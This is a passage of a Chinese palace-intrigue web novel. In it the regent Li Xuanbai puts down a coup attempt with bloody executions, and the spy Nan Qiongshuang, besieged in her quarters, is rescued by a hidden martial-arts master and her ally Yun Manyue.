满殿烛火辉烁摇曳,风从窗子里呼呼吹入,映得殿内光影纷纷。 一切皆在扑朔摇动,唯有一人,屈起一条腿,稳稳坐在层叠床帷间。 数十金戈侍卫拔刀守候在侧,凶煞刀影簇拥间,那人小耳坠随风轻晃,人是泰山崩于前也不动如山。 李玄白已经束好了马尾,换上了衮袍,戴妥了帝冠。扬了二正地往榻上一坐,见了饥鹰饿虎般的反贼,也是面不改色,一扭头笑说: “终于来了,叫本王久等。” 常平猛地一怔,如坠冰窟。 什么意思,难道今夜宫变,是中了摄政王的计?! 他速速环视一圈——虽是有金戈侍卫,可金戈侍卫不过数十人之众,如何同他身后骄兵悍将相比?! 两厢照面,他心里已是骇然大惊,攥紧了刀柄倒退半步。 常平毕竟年纪尚轻,资历尚浅,见李玄白从容自若,磕磕巴巴地说了一句: “摄政王……摄政王犹未就寝。” “睡了,早睡了。”李玄白一哂下了地,“不是被你们搅和了么,大半夜的,叫那阉人招呼起来了。”他朝角落里瑟瑟发抖的吴顺扬了扬下巴,又道,“要我说,有甚好怕的,什么也要紧不过一夜好眠。” 话毕,他缓缓转着眼珠,睨着一概人等,暴喝: “尔等欲反?!” 声音陡然响彻大殿,仿若虎啸,回声幽幽。 常平忽地双腿打起晃儿来,明知道如狼似虎的众军士正在背后盯着他,犹自无法自控地恐慌:“摄政王,我们奉命……” “奉命,奉谁的命?!”李玄白遽然起身,两三步逼近常平眼前,两旁的金戈侍卫唰地两片雪刃横锋在前,他死盯着常平双目,犹如虎视,“天子脚下,岂容尔等作祟!大内禁地,你们深夜佩刀擅闯,可知是死罪!” 常平顿时连呼吸都没了,直视着他那双眼睛,不自觉地就抖成了筛糠,想跪下。 他身后的女真人更是惊慌。 常达今夜发兵,给他们的说法是奉密诏、擒小人,哪里知道摄政王并无什么密诏,更无甚小人要清。 他们是给骗进宫中帮人谋反来了! 李玄白冷笑着退开半步,福余三卫狰狞刀刃逼在眼前,他是丝毫也不忌惮,负着手在众反贼面前转着圈踱步: “常家军是定王一手培养所出,他们愿为定王牺牲,本王倒也理解。可是你们这帮女真人,是否脑子不好?” 他讥笑着望着领头那张女真面孔: “你们女真人背井离乡,千里迢迢来中原卖命,不过为几两银子。如今竟要为了银子,将命搭进去?!莫说这钱你们有命挣,没命花,便是挣了,又焉能回乡?!” “你们家人可知你们在中原参与篡权谋反之事?!皇上若出了事,你们有一个算一个,尽是齐宋之敌!到时齐宋与金国不睦,齐宋发兵攻打 尔国,两国交战,民不聊生,你以为你们家人在远乡,能高枕无忧吗!” “谋生而已,何至于搭进自家性命!” 此话一出,常平登时心惊胆战。颤颤回身望了一圈,更加心惊。 福余三卫各个阴沉着脸,面色凝重,眼神闪烁,闷不做声。 他心里顿恨他下令叫这些人学了中原话。若是听不懂倒还好了! “莫被旁人动摇了军心!”常平紧攥着刀柄,掌中汗湿,刀柄在手中滑了又滑,嘶声道,“不听令者斩!” “斩?”李玄白慢悠悠从鼻子里哼出一个笑,竟还有心情缓缓坐回榻边,翘起二郎腿,“谋逆,按律当凌迟。听你的话,趟夺权这场浑水,还不如受斩!” 殿中气氛霍然为之一变。 常平是何等聪明之人,顿觉氛围有异,有如置身龙潭虎穴,此时不是草木皆兵了,草木真真切切地就是兵,他脑子急转,灵光一现: “尔等擅闯宫禁,已是反贼,难道是放下屠刀便能成佛的?!听我的命,死也是斩,听他之言,降也是凌迟!” 女真人顿时又齐齐一怔。 “那不会,怎么会呢。”李玄白十指交叉着扣在膝盖上,长腿有一搭没一搭踢着,“本王治国,素来宽大为怀。这样吧,归顺本王者,本王既往不咎。若杀反贼,本王重重有赏。” 常平回身大喝:“摄政王最是不愿女真人留京,你们清楚!” 李玄白手指闲闲朝常平一指:“诶,腿都抖着哪,乳臭未干的小子,也敢骑在这些人头上叫唤了。你杀过人吗?” 女真人这才顺着他手指一看,惊见常平这厮面上平静,两条腿已经抖得如年近古稀之人上冰湖。 他们这才明白这小子是何等初出茅庐。 面前另一人,却在人数甚巨的敌人包围之中,谈笑自若。 女真人风气尚武,将领若无资历,绝不肯服,又尚勇不尚智,最瞧不上汉人只敢智取、无胆强攻,见常平兵刃未接,已经怕成这狗熊样,各个心头大怒,哗然拔剑。 刀光映亮常平惊恐的脸。 未待常家军拔刀阻止,李玄白晃着腿又发了话: “要从本王,拿常平首级投诚。” 咕噜一声,常平头颅滚落在地。 血泉从断颈中直直喷溅出来,射得老高,弯成弧线,溅得床帷上血梅斑斑。 角落里的吴顺尖着嗓子哀嚎了一大嗓,仿佛断了脖子的是他。 女真人目带审视,一齐朝床帷中间的人望去。 李玄白眼下缀了一颗妖艳的血,拨着小耳坠,笑得恣意: “算你们有诚心。” 福余三卫哑然肃立,抱拳行礼:“恭侍吾主!” 余下的常家军各个大惊失色、手足无措,方才常平还在皇极门前妙计频出,若无他,他们今夜简直进不了宫,怎么转眼之间就成了刀下亡魂,断为两半,连句遗言都留不下?! 常平今年不过十六七! 常家军有的悲愤,有的大骇,有的茫然,大多惶惶不知所措。 鲜血蔓延至御榻下,李玄白踏着新鲜温热的血,弯着嘴角站起了身,信手去窗下果盘拣了一个李子吃: “其余人呢?” 常平已死,常家军已是群龙无首,不从他,还能从谁?! 李玄白却垂眼擦着李子的白霜,随手往窗外一指: “爱从我的,便从。依旧要为定王效忠的,便去。本王谁也不勉强。” 话落,当真有两三个不识趣的,一步跨出,抱拳要告退。 未等他李子的白霜擦尽,噗噗几声,那几人已是仰着脖子趔趄倒地。 鲜血浸透了宝相花纹的波斯绒毯。 福余三卫和金戈侍卫面色不改,收刀入鞘,朝李玄白抱拳。 李玄白将李子核吐在掌心,随手往瓷盘里一丢,“还有点眼力见。” “走吧。”他抬步踩过被血浸得如湿润苔藓般的绒毯,一步一步踩出一点咕叽的声音,从窗子遥望出去,紫禁城在死寂夜色下沉睡,他叮一声弹剑出鞘: “用常家人的血,铺本王登基的金陛。” 常达欲入宫夺权,除了得要他李玄白的命,还务必控制紫宸殿那位。 他没有想到的是,到得紫宸殿,紫宸殿内,空无一人。 桌椅倾倒、架台倾翻、柜橱洞开、床帷被扯下半圈,满架子的书零落一地,巨大的书架整个压在地毯上。 唯独没有任何人影。 没有嘉庆帝,没有常达,没有理应侍在嘉庆帝身侧的顾怀瑾和众太医。 李玄白此时才觉急火攻心,这生了癔病的小子,是活的玉玺、活的龙椅,他落在谁手里,谁便能借他的口给他李玄白下一封诏令,旦夕间废了他摄政王的名号!此时人又去哪了?! 若落进了常达手中,后果不堪设想! 却见重重金纱床帷间,似乎有一个侧躺的身影。 他匆匆大跨步迈过去,抓着床帷唰地一扯,衾被哗然被他掀开。 翻涌起伏的被浪间,李玄白急喘着,终于定睛看清。 一滩血泊已经尽数沁进了刺龙金锦床单,那血泊之上,阖着眼、唇边淌血的人——是身着明黄寝衣的王让。 嘉庆帝的大太监。 第177章 菡萏宫密室内阴冷漆黑。 四下里一股湿土的腥气,还有些挥之不去的霉味。随意一碰,石墙冰凉,再摸索下去,又沾了一手不知是何物的东西。 墙壁上有一个与菡萏宫相通的小孔,只是夜已深了,殿内未点灯烛,小孔里是一片混沌,什么也看不见。 南琼霜竭力把手上沾的东西甩下去,半蹲下身子,盲人似的伸手四面摸索。 小腿处,磕到了一根硬硬的棱,是顾怀瑾给她留的小榻。 她扎着马步小心翼翼地摸出了小榻的全貌,缓缓挪了上去。 小竹榻吱呀一声。 太静了,静到她简直难以相信,紫禁城内,今夜便要改天换地。 十几日前,她也是经这密室去顾府与顾怀瑾相会,一面盯着他把鸡蛋羹好好吃完,一面问他局势如此不稳,他做何种打算。 彼时他收完了碗,在桌上搁了一张棋盘,摆开棋盒,一面落子,一面道: “常李皆输,我才能赢。宫变是早晚的事。既然如此,不若由我先发制人,好过人为刀俎,措手不及。” 她拈起一颗白子在掌中掂着: “你的意思是?” 他落了一颗黑子:“挑得常李双方早日相斗。” “趁双方准备犹未万全,逼得一方仓促出手,一方狼狈应对。”子落,嗒一声,“二虎相斗,必得同归于尽,这一盘棋,才能算了。” “同归于尽”。 南琼霜默然,凝重地垂首。 “你的差事究竟如何打算?”他又落了一子,“收网的令还没下?” 她黯然摇了摇头,落下一子,捻着棋子摩挲:“不知到底要拖到几时。” “那你……” 这些事情,她最近翻来覆去地想,想不出个答案,每回都头痛欲裂。 她痛苦不堪地揉揉眉心,哀叹一声。 末了,她道:“收网令不知何时下呢,再拖下去,只怕形势要先一步生变。说不准,没等我动手,先有一方掀了棋盘,我就给抛下台来,成了双方相争的牺牲。” “比起差事……保命要紧。嘉庆帝的命暂时放放吧。” “那么,不若这样。”他呷了口茶,“两手准备。一面推波助澜,激得双方相斗,一面等你收网的令。若令来得早,你便下手,之后即刻脱身。若令不来,先机掌握在我们手中,你我至少可以保命。” “听起来倒是不错,但你要如何推波助澜?”南琼霜玩着棋子,拄着下巴挑了眉,“常忠?” 顾怀瑾笑而不语,两指夹着棋子,咔哒一落。 “常忠那厮,名字里虽有一个忠字,却必不会忠。”南琼霜垂眸望着棋局,“他不会忠于皇上,也不会忠于他爹爹。可是他那人难堪大任,酒色财气 均沾,又眼高手低自命不凡,便是他反了常达,也未必较量得过他。” “他必然较量不过。”顾怀瑾道,“他父亲征战多年,是有真本事的,他在他父亲眼里,不过三岁小儿,哪里会动得了他爹爹。不过若能挑得他们父子三人内讧,常达多疑暴虐,必定自剪羽翼。那他便无人可用——常平年纪太轻,多智少历练,威望不足,压不住人。” “挑拨常忠生出异心,反了他爹爹,他爹爹知道我与大明宫的关系,必然会认定是摄政王授了意。再兼府中遇刺种种……双方必然会撕破脸皮。” “‘你与大明宫的关系’?”顾怀瑾忽然抬起眼,“这种事,说不定会惹得常达疯狂报复,自然是由我来做。” “那常忠是个色狼,垂涎我好久了。”南琼霜眼都没抬,“我来做吧,我做方便。” 顾怀瑾一个字也没有,不看她,只是垂着眼睫拣棋子。 她后知后觉地品出他有点不明不白的火。 他不喜欢她以魅力为手段,图谋什么男人。 哪怕她居心叵测。 他希望她只图谋他一个。 他自己也奇怪,怎么竟然连这种事也要介意,连她的猎物也要抢着当,烦躁又自厌,没说话。 南琼霜瞧出来他那点小心思,也有点哭笑不得:“罢了,我们在那猪头面前唱出双簧吧。” 一子落下,此事说定。 那一天她回宫前,顾怀瑾站在密道口,嘱咐她: “宫变当日,我顾不上你,你在菡萏宫墙后的密室里藏着,纵是外面闹得天崩地裂,也千万别出来。” “若再有什么事,经密道躲去顾府,不必担心我。” 日子过得太快,不过十几日,当日两人所筹谋的,一下就到了眼前。 南琼霜仰躺在小竹榻上,密室里黑得连上下左右都不辨,她竖着耳朵凝神谛听,似乎听见些外头的喊杀动静,但又不确定是否听错了。 隔着厚重的石墙,那点声音时有时无,她实在是听不清,想透过小孔瞧瞧,翻身又下了榻。 下了榻,如一个耄耋之年的老太,磕磕绊绊地摸索着前行。 未等她摸到那面有小孔的石墙,耳朵里竟然响起一道声音: “姑奶奶,姑奶奶!” 她心里登时一凛。 是传音入密。 可惜石墙太厚,连这等传音术,传来的话也不真切。 雾刀轻手利脚地落了地,殿内空无一人,他一头雾水地兜着圈子找人: “姑奶奶,……霜!跑……去了,这节……!” 声音一团模糊。 南琼霜在密室里听得心脏一跳一跳,怎么这时候这条狗找来了,外面刚巧闹着呢,她是出去还是不出去? 若躲在密室里,是一百二十个安全。 可是雾刀…… 深更半夜的,雾刀来做什么?常达应已杀进了宫里,她不必听定王府上的消息了,他们父子三人内讧,她早就有数。 可是,他究竟来做什么?有什么话要传? 外头恐怕正腥风血雨,这条狗在墙外急得直转圈圈,急成这样,定然是有事,他耳朵最尖,定然是知道宫中在闹什么的,什么事非现在传话不可? 忽地一个念头涌上脑海,激得她浑身麻了一瞬。 许是收网的令下来了! 若是今夜收网,嘉庆帝中了传脉蛊正昏迷不醒,顾怀瑾定是将他藏进了紫宸殿墙后的密室中,这两个密室——是相连的呀! 若真是动手的令,今夜,她可以神不知鬼不觉地下手! 十二年苦心经营,在此一举! 她激动得几乎浑身发颤,眼里蓄了点酸苦的泪,黑暗中急急跑了两步,扑在潮湿不堪的石墙上。 手几乎碰到机关时,却又堪堪停住。 嘉庆帝死了,顾怀瑾怎么办? 不过—— 宫变至多闹到天明,天亮之后,必见分晓。一晚上的时间,还不够这疯子醒转过来的,宫变他派不上任何用场。 若是顾怀瑾胜——常李双方同归于尽,他大可以国师的身份主持朝纲,从宗室中择一人,扶上皇位。若如此,嘉庆帝甚至死了最好,他毕竟已经因为福余三卫一事,对顾怀瑾甚是不满。 假如常李双方任何一位胜,嘉庆帝不论是生是死,顾怀瑾都必然要交权,也许还性命堪忧。即便嘉庆帝想护,到了如此地步,也未必护得住了。 说来说去,那疯子活跟不活,对顾怀瑾都没区别。 她毅然按下了墙上机关,从密室中爬出来。 雾刀正满屋子溜溜地寻她,一回身见她披头散发地从大衣柜里爬出来,骇了天大的一跳,嘴唇哆嗦着半晌,才凑到她面前: “姑奶奶,有命令!” 南琼霜又惊又喜,兴奋得快将心脏吐出来:“收网了?!” “啊,不是。”雾刀挠挠后脖颈: “有个新差事,务必你出手,十万火急!” 南琼霜呆愣在原地,再开口的时候,怒得简直想抽他耳光: “常达杀进了宫里,哪个不长眼睛的,要在这时候调姑奶奶!你自己去瞧瞧外面闹成什么样子!” 她揪着他衣裳,两三步把他扯去窗前,手指汹汹朝外指:“你看看外面闹成什么样子!宫变!谋逆!性命不保,差事未完,你叫我去办别的差!” “滚回去回上面的人!办不了!莫非当我是李三太子,三头六臂!” 雾刀歪着脑袋叫苦连天,“诶哟,诶哟,姑奶奶,您听小的说啊,这回差事就在宫中,不消您往外边儿跑!您……” 院外忽然一阵震天动地的喊杀声,马蹄声响如催命的快板,眨眼间就杀到了圆月门前。 火光点亮了雕花窗前的黑夜。 常达大吼:“杀入菡萏宫!砍死珍妃!” 军士的呼嚎排山倒海: “杀入菡萏宫!砍死珍妃!” “杀入菡萏宫!砍死珍妃!” 南琼霜何止是愕然惊惶,几乎呆愣了一瞬,再一回身,方才那张嬉皮笑脸的死狗面容已是烟消云散。 倒留她一个人在窗前! 她恨得几欲杀人,刚迈开了步子想蹿回密室中,一回头,已经与院中的常达正正对上了视线。 常达带着兵去紫宸殿搜罗了一圈,将整座大殿翻了个底朝天,也没见着嘉庆帝半分影子。 偌大个皇帝寝宫,国师不在,摄政王不在,太医也不在,唯一个不自量力的阉人躺在龙床上当替死鬼! 废了这许多气力杀进了紫宸殿,以为唾手可得,结果颗粒无收,常达早已是暴躁若狂,带着兵杀气腾腾地往大明宫去,结果好巧不巧,路经了菡萏宫。 珍妃正是害得自己父子反目之人! 常达远远瞧见牌匾上“菡萏宫”三字,眼睛几乎冒绿光,紫宸殿无人,大明宫有常平,放着这女人不杀白不杀,路过此处,正是天意!遂马头一转,长驱直入菡萏宫。 南琼霜与常达只对视一瞬,扭头就欲钻回密道中,僵硬迈了两步,一阵急智,蹿到门边当啷落了锁,砰砰将窗一扇一扇关严。 雕花窗棂外,举着火把和大刀的反贼已经冲到了庭院正中。 她扭身飞起,落到大衣橱门口。 火把的光已经逼至隔扇门外,映得她寝宫中昏黄一片,宫人们惊起四望,有的躲有的哭,她全顾不得,胡乱拨开衣橱里厚厚的衣裳。 谁知,入了秋,衣橱内塞得扎扎实实。 待到她终于埋头钻进衣服堆里。 惊恐地发现,她出来时顺手带上了密室门! 许多年来,她饭是务必验毒,信是阅后即焚,办事滴水不漏,行刺后连根头发都不会留。 随手带门,是她习惯中的习惯,她甚至都不晓得她顺手带了门! 密室门的暗钮埋在厚厚秋衣中,她形神俱裂地摸了半晌,只听那头哗啦两声。 两把白花花的大刀已经劈进了门上的隔心。 木碎片噼里啪啦地飞溅。 她扭过头来,在那暗钮上一通癫狂地狂按,终于,那门缓缓——缓缓——地往两边滑开。 脆弱的隔扇门也应声而开。 哐啷两声,那隔扇门斜飞出一半。 木屑飞溅。 一只黑靴蹬在木门正中。 收了脚,蓄力跑了两步,又是一脚! 咣! 整扇隔扇门飞扑出去。 她一回头。 厚重的石门将将滑开半人距离。 一只漆黑的短靴蛮横地踩上了她寝宫的门槛。 南琼霜倒冷静了,吱呀一声关了衣橱门,退至寝殿角落。 来不及了。那石门太厚太重,即便开了,也来不及关,到时只会被这些人从密室里揪出来! 她用传音入密道:“雾刀!” 因着早就料到或许会被常达报复,她提前几日与云瞒月打了招呼,请她多多留意她这边的动向,若有异变,只要有空,速来支援。 却无人应答。 她与雾刀配合多年,晓得这时候他应是去请调了云瞒月。 她愈发往角落里退了退。 虽然如此,却不知云瞒月今夜是否得闲。即便她刚巧有空,也未必赶得到。毕竟—— 卧室门口站满了人,披盔戴甲、人高马大、杀气汹汹,乌泱泱的好似一片恶鬼森林。 满屋唯有她一个女人。 虽然五指上套了蛛罗丝的戒指,可是还能怎样。 螳臂当车、杯水车薪。 一屋子男人味,南琼霜胸脯急速起伏,强自冷静着摆架势。 忽地,女真人和常家军默然无言地往两侧分立,让出一条路。 常达踩着马靴大模大样地居中行过。 甫一出来,手中两柄板斧晃得她几乎眼花。 那两把板斧,比她的头还大! 常达狞笑着掂了掂一对板 斧,浓眉底下埋伏着的一双小眼睛,自得而凶戾: “达见过珍妃娘娘,珍妃娘娘真是貌美。” “敢问娘娘与达究竟有何过节,欲使我们父子不睦?” 她强稳着声音,此时只能拖时间: “定王此话何意。” 常达用鼻子冷笑一声,踱了两步,忽地暴喝一声! 两柄板斧乍然猛劈,窗下小几应声碎倒: “臭小子,臭娘们,合谋坏他爷爷!敢把手伸到老子窝里来!” 两把板斧朝她一比: “剁碎这娘们儿,明日吃大葱蘸酱!” 常家军顿时高呼着朝她冲来,福余三卫对常忠并无甚感情,默默随在常家军后,一时她眼前扑上一群张牙舞爪的男人,各个龇牙咧嘴竖眉瞪眼。 一抬眼,余光瞥见一道刀光。 她闪身一避。 未等回身,头顶又一把刀悍然一刺。 她屈膝一闪。 倏地十指全张,挣开一张冰丝网。 面前一片细细刀锋,发着抖,兜在她丝线里。 她未等庆幸,忽觉那刀倏地一压——她再格挡不住了,无奈闪身一避。 差点撞上迎面挥来的长剑。 几个回合,她已是分身乏术。对面的男人各个凶神恶煞,也许往日是常忠的酒肉兄弟,见了她,恨得牙痒痒,她格挡得眼花缭乱头晕目眩,连两刻都捱不到,已是筋疲力竭、强弩之末。 喉咙里渐渐泛上些血的腥甜,喘得胸口都痛了。 常达:“这女人竟会武功!藏得倒还真深啊。” 南琼霜顾不得他,几回合之内,已经拼得眼前发黑。 她是什么武功,如何能与这些臭男人一拼!即便云瞒月会赶来救她,她难道真能撑到她来吗! 这样怎么行!她艰难往大衣橱看了一眼。 密室门现在应开着,假如她能蹿到大衣橱旁边,说不准可以—— 也未必,说不准头刚进去,就被拽着腿拖出来! 可若连密室都进不去,还能有什么法子! 双方差的太悬殊,假如不借这密室脱身,她绝无可能全身而退。怕是真要成了肉酱! 她喘得越发厉害,视野里开始大片大片地泛黑,虚弱得眼睛已看不清了,全靠一双耳朵,辨别刀剑的来向。 左、左、右、上、下、再横着一刀—— 刀刃和丝线摩擦的吱噶声,刺得她耳朵痛。 究竟要撑到何时—— 她已经无暇分辨身上是否受了伤,只用传音入密急唤:“雾刀!雾刀!” 无人应答。 无人应答,就是还没来。 她已经精疲力尽,眼前漆黑一片,明明听见劈面便有一道刀刃横来,手臂也再抬不起来,唯有软着膝盖闪开。 耳边的心跳和喘息声轰如雷鸣,渐渐盖过了刀剑破风声。 她闪躲,已完全是无意识而为,不是机警,而是机械,整个人麻木茫然。 说实话,能在这些人手中强撑这许多时,已经出乎她的意料了。 到底要撑到何时——太累了。若不是想到稍有松懈,便要成了肉酱,她真是再动不了半分。 可是——到底是走投无路了。 到这地步,还有强撑的必要吗? 刀尖喋血之人,最熟悉死亡。 死—— 忽地轰隆一声巨响。 不知何处袭来一阵劲烈罡风,轰地一声冲入室内。 她面前人登时人仰马翻。 骄兵悍将四仰八叉地仰躺在地。 未等她眼前的黑散去,便闻身边一阵一阵掌风呼啸。那掌风近乎磅礴,声如滚雷,未打在她身上,都几乎搡得她横飞出去。 耳边刀剑声霎时止歇。 唯余男人们一声叠一声的哀嚎。 她扶着衣橱角勉强稳住身形,室内煞风甚巨,她头发衣裳被风扯得几乎平飞出去,只闻常达惊愕的怒吼: “你又是谁!” 不必说,云瞒月。 除了她,以一当百,此等武功,还能有谁—— 眼前混沌的颜色一团一团散开,凄迷月色里,常达浓眉多髯的面上已是大惊,泛着青寒月色的绒毯上,一人弓着步竖掌,化掌成风,鬓发丝毫不乱。 ——南琼霜做梦也未想到是此人。 李慎舒! 她此时那一贯的假笑却是撤去了,眉目间一片刚毅决然,纵是数十甲兵在前,神色岿然不动,一招一式,何止是练家子,熟稔到出神入化,掌掌生风。 她不答,只推掌。 一推掌,甲兵掀翻一片,震得大殿隆隆,殿柱颤抖,房梁摇晃,灰尘木屑自天花板零落下来。 南琼霜扶着大衣橱勉强站稳,心惊胆寒地退至一边,只见此人掌法快得她根本分辨不清,在她眼里,几乎是离得甚远,五大三粗的男人就飞了。 推掌、手刀、旋身、飞踢,刀剑如何相逼,她都行云流水地避过,仿佛这群男人有意配合她演武似的。 南琼霜看得简直脑子嗡嗡。 她身边竟有这等高手?!何时的事?!公 孙红收网那夜,这人还扒着门缝窥她,如何今夜就路见不平,出手相助?! 真的是来帮她吗?还是螳螂捕蝉黄雀在后? 她不敢细想,贸然冲出来个仁人义士,她亦不敢轻信,趁着李慎舒与满屋甲兵纠缠,只顾着盯着窗边。 窗边无人! 常达绝没想到半路杀出来这么个程咬金,拎着双板斧就要上。 谁输谁赢不重要。 南琼霜看准了唯一一扇她未及关上的窗,飞身冲出! 撞得支起的窗棂哗然碎裂。 她不必回身看,已经听见身后有刀剑声唰唰刺来,一咬牙,想蹬在窗棂上避开。 脚下一滑,踩了空。 她已经太虚弱,奋力冲出,已经力竭,再无力踏第二下。 白茫茫的刀刃尖叫着朝她捅来。 雾刀:“云大人来也!” 她眼前情景骤然变换,倏地从窗下被捞上天空,先是见到树干、接着是树尖,再接着,是菡萏宫辉煌灿烂的琉璃瓦,鱼鳞般的瓦片上浮着一轮银白弯月,弯月底下一个人,长戟底下红缨似火,一手揽在她腰间。 南琼霜霎时与弯月齐平。 云瞒月俊秀清朗、雌雄莫辨,额间一根白玉红抹额,凤眸半压,望着底下一哂: “霜儿,我来迟了。” 南琼霜张口结舌,哑口无言。 “你还好吗?”她偏过头来担忧地问。 “倒是还好。”她拼命匀着呼吸,今夜这一切都太突然,她属实是千头万绪,无从理清,垂着头望下面,“可是——” 常达:“勿与她纠缠!撤!撤!去大明宫!” 菡萏宫中的甲兵鱼贯而出。 再出来时,趾高气昂的精兵已是士气衰竭,唯有三分之一是利利索索地跑出来的,另三分之一趔趔趄趄地相互搀扶而出,后三分之一,压根无从逃出了。 南琼霜看得已是头痛欲裂,呼吸微微。 倒是把福余三卫和常家军逼走了,可是殿里那尊大佛,又是个什么来头?! 不是她赎了身的同僚吗?! 云瞒月看了亦是一愣:“霜儿,你拳脚功夫大进了?” 她大进个什么,若是大进,会踩个窗棂,都脚滑吗! 她道:“不是,是那殿里……” 云瞒月已经感受到了殿中不寻常的掌风震动,眉毛狠狠一压。 扶着她在殿顶站稳,云瞒月道:“你在一旁歇着。若是敌人,怕是劲敌。” 南琼霜不免吞咽了一下。 连云瞒月都如此说…… 忽地一阵衣衫飘起的簌簌之声。一人负着手曲腿,自地面直直腾身上来,渐渐露出一丝不苟的发髻、光洁圆润的额头,额间一点朱砂红痣。那藏拙藏锋的微笑却是褪去了,飞身上来,一双眼定定与她对视,温润宽和、坚毅刚强。 李慎舒会武功,且极强、极会藏。 南琼霜惊得连眼都不敢眨。 更叫她惊讶的是。 云瞒月忽地抱拳,恭恭敬敬唤了一声: “师傅。” 第178章 今夜这一切,未免太匪夷所思。 匪夷所思的事多了,她倒麻木了,什么都接受得容易。 李慎舒负手在后,和蔼颔首:“今夜你也奉命来此啊。” 云瞒月:“霜儿的教引唤我前来,说是霜儿遇险,要我协助。徒儿不知师傅竟在此处,不然定一早前来拜访。” “拜访什么,大内禁地。”李慎舒语气责怪,笑得却溺爱,“我当年从往生门脱身出来,便是想隐于江湖,不再叫人寻着我。即便早知这位娘娘与你有干系,为师也并未寻你。若非她今日遇险,我本也不会出手。” “这些年师傅退隐,徒儿明白。”云瞒月垂着脑袋行礼,“徒儿谨遵您的训诫,从未刻意寻您,更不曾将您的踪迹透漏给任何人。” “那就好。”李慎舒缓步踱至殿顶边缘,仰头赏月,“今夜便到此为止吧。夜已深了,本该歇息。” 话毕,她颔首转身,再无二话,飞身下了屋檐。 南琼霜脑中千头万绪,几乎要把脑子涨裂。 怎么,她宫中的掌事姑姑不仅是她前同僚,还是个隐于深宫的绝世高人,生死存亡之际出手救下她,什么都不解释,什么也不多说,转头回去睡觉? 南琼霜:“她……” 云瞒月手掌按在她背上,将她扶稳些:“是我幼时的武教习,前七杀副堂主,我的师傅。” 南琼霜艰难吞咽了一下:“当真看不出来……连走姿、神态、习惯都不似习武之人。” 云瞒月笑:“在师傅眼中,我等皆是孩童,你能瞧出来什么。若叫你瞧出来,师傅在门内三十年,岂非白忙了?” 南琼霜哑然:“她很强?” “‘很强’?”这话问得云瞒月似乎惊讶,她跟着重念了一遍,随后笑了,“师傅武功冠绝往生门三十年之久呢。” 南琼霜听得差点从房檐上摔下去。 南琼霜:“她都坐到了七杀副堂主之位,却赎了身?” 云瞒月摇着扇子:“师傅自来如此。她年轻时走南闯北,接差也全凭自己心意,潇洒落拓,难以拘束。是前门主好说歹说地硬留,她才接了七杀的担子。后来风里雨里的干了几年,觉得门内行事作风,即便‘杀戮道’也无法容下,遂赎身出来,隐入市井。” “因着武功高强,又有威望,江湖上总有事欲寻她出手。师傅不胜其烦,遂隐姓埋名,干脆隐入深宫禁地,改头换面,做了一个掌事女官。” 这简直不可思议。 “……那岂非太屈才?” “师傅只欲在大内禁地做一个掌事女官。”云瞒月笑起来,“不必替她唏嘘感慨,这本是她的愿望。” 南琼霜默然片刻,百感纷杂。 “不过如此避世之人,为何救我?” “许是师傅瞧出你我是熟识吧。她在门内三十年,观事细致入微,没什么逃得过她的眼睛。你是否说漏过什么?” 公孙红收网那夜,她出去办差,确实被李慎舒看见了。不过,那与云瞒月又有何干? 一个猜测忽地翻涌入脑海。 当夜她中软骨散,云瞒月为叫人帮她解毒,曾给过她一块菩萨玉牌! 一切忽地串联在一处,豁然开朗。 不过,若是如此。 那个问题,她更有必要一问了。 她望着远方,夜色里紫禁城的琉璃黄瓦连绵不断,叛军的火把照亮了宫道,她心里急切,声音却轻: “那么,七杀堂中幼子有三百,如此能人,却专来教导你。究竟是因为你天资高、根骨佳,还是……” 话音断了。 这个问题,系乎她这十二年心血,真要问出口时,反而不敢问了。 良久,她垂下眼眸,长睫在眼底投下一片悠深的影。 她问得云瞒月怔住了。 南琼霜的声音化入风里,轻得像呢喃: “往生门的新门主,是你吗?” 有三刻功夫,云瞒月一字未说。 最后,她弯起眼睛,未答也未应,朝她温和微笑。 * 齐宋禁军分为南北两军,北军驻扎于宣平门,南军驻扎于建春门。大明宫居于皇城之北,距宣平门尤近,此时李玄白已经拿着禁军虎符,亲至宣平门,合了兵符,调了北军。 归降的福余三卫、常家军,与北军一同随在李玄白身后。 李玄白亲披了盔甲、亲佩了长剑,亲身上马、亲打头阵。 数百骁骑营精兵一同望着最前面朱红蟠龙披风的人,心内一阵敬肃。 以李玄白的身份,本不必上马亲征,可却偏偏身先士卒,纵马立于众人之前。 众人屏息凝神,等他号令。 今夜生死攸关,月色沉沉,无人说话。 忽地,李玄白勒疆驭马,那汗血宝马乍竖起两蹄长嘶,他一身烈烈披风在夜色中燃烧如火,长剑朝远远的明黄殿顶一指: “定王受国恩而擢显位,不思犬马以为报,反怀安史之心!圣人蒙难,孤摄政监国,岂可旁观!速往紫宸殿,护圣驾周全!” 欲宫变夺权,务必控制嘉 庆帝。要么挟持,要么软禁。 只要嘉庆帝在手,褫夺王爵的圣旨可以发,废除他摄政王名号的诏令也可以发。当务之急,是将这活玉玺收入囊中! 大军在深沉夜色中往紫宸殿的方向疾奔。 紫禁城在祸福难料的黑暗中静观一切。 西北长街,正是从宣平门至紫宸殿最短、最快之路。 马蹄声嘚嘚,一行人欺身伏在马背上,奔过这条路,转个弯,尽头便是金碧辉煌的紫宸殿。 忽然远方一阵震天的马蹄踏地声,威势迫人,连地面都微微震颤起来。 李玄白勒疆刹住马,马一声长嘶,他未回头,一抬手。 身后禁军齐齐勒马止步。 面前已是平坦空荡的西北长街,这条街的正中,便是整座皇城的中枢——紫宸殿。 黑夜里,他缓缓眯起一双狐狸眼。 西北长街的尽头,现出一片火把的光,照得长街尽头红彤彤的。火光下,常达的常家军铁甲森寒,纵马急转一个弯,在长街另一头显出身形。 多毛如狮的常达,面红耳赤,喷着热气,贴在马背上,骏马狂奔。 徐卫纵马护卫在常达身侧,贴伏着马背疾驰,一手高举,大喊: “清君侧,诛逆贼!清君侧,诛逆贼!” 整座紫禁城喊杀声排山倒海。 李玄白老远看清了来人,神色纹丝不动,驱着马往前上了两步:“反贼常达,胆敢作乱犯上!” 常达吁一声勒住了马,那马止步不及,犹往前蹿了两步,他气喘吁吁地切齿狞笑:“小赖皮蛇,在你爷爷头上坐了两天,真披了龙袍装真龙了?!敢挑唆吾儿,老子早该把你按在尿桶里溺死!” “溺死我?”李玄白不怒反笑,手往前利落一挥,身后诸将中有人丢了个圆滚滚的东西出来,划出一道弧线,咕噜一声砸在地上: “老畜生,好生瞧瞧!” 余血四溅。 常平在不祥的夜色里犹自惊惧绝望。 常达看了一眼,当即怒目圆睁,浓髯粗眉乍起,满目通红。 他身后的常家军哗然大骇。 李玄白攥着马缰,笑得残忍而自得: 